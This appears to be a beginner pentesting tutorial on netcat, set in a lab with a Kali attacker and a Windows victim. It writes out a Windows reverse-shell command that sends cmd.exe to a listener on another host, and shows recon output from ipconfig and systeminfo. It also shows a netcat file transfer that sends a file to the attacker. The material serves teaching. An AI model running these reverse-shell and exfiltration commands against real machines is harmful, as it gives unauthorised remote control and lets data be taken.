

Netcat for Pentester

Netcat (nc) is a versatile command-line networking utility for reading/writing data across TCP or UDP network connections. Often called a "Swiss Army knife" for network administrators and security testers, it is used for port scanning, file transfers, port listening, and creating backdoors. It supports both client and server modes.

Now we using the kali linux and windows as attacker and victim using netcat.

```
(root@kali)-[/]
# nc -lvnp 4444
listening on [any] 4444 ...
```

In kali we use **nc -lvnp 4444** command for listening.

```
C:\WINDOWS\system32>ncat 192.168.0.5 4444 -e cmd.exe
```

In windows also we use netcat command **ncat 192.168.0.5 4444 -e cmd.exe**. This command used to Windows Reverse Shell.

```
C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet 2:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::5359:d9:4733:ddfa%23
    IPv4 Address. . . . . : 192.168.56.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :

Ethernet adapter Ethernet 5:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::3bb7:d62a:b45c:82bd%19
    IPv4 Address. . . . . : 192.168.250.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :

Unknown adapter Local Area Connection:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Wireless LAN adapter Local Area Connection* 11:
```

After execute command. Now the kali linux as access to the window shell. Also I entered the **ipconfig** command and get the windows ip's information.

```
C:\WINDOWS\system32>systeminfo
systeminfo

Host Name:                 LENOVO
OS Name:                   Microsoft Windows 10 Pro Education
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:         ELCOT
Registered Organization:
Product ID:                00380-00000-00001-AA622
Original Install Date:     27-07-2023, 23:01:41
System Boot Time:          01-01-2026, 14:17:38
System Manufacturer:      LENOVO
System Model:              81FS
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                          [01]: AMD64 Family 21 Model 112 Stepping 0 AuthenticAMD ~2500 Mhz
BIOS Version:              LENOVO 7UCN21WW(V1.10.ELCOT.1), 23-01-2019
Windows Directory:        C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              00000409
Time Zones:                (UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi
Total Physical Memory:     7,647 MB
Available Physical Memory: 1,540 MB
Virtual Memory: Max Size: 11,560 MB
Virtual Memory: Available: 2,684 MB
Virtual Memory: In Use:    8,876 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\LENOVO
```

Using the **systeminfo** command we can get the windows system information.

File Transfer:

Now we are going to transfer file from machine to machine.

```
(root@kali)-[/]
# nc -lvnp 4444 > received.txt
listening on [any] 4444 ...
connect to [192.168.0.5] from (UNKNOWN) [192.168.0.7] 65034
```

In kali **nc -lvnp 4444 > received.txt** command used to listen from another machine.

```
C:\WINDOWS\system32>ncat 192.168.0.5 4444 < hacked.txt
```

Now in windows we use **ncat 192.168.0.5 4444 < hacked.txt**. In this command we use kali's IP and text file.

After execute the command, listening kali will receive the text from hacked.txt as received.txt.

```
(root@kali)-[/]
# cat received.txt
you have been hacked
```

Now if we open the received.txt. We see the text file contains the information from hacked.txt.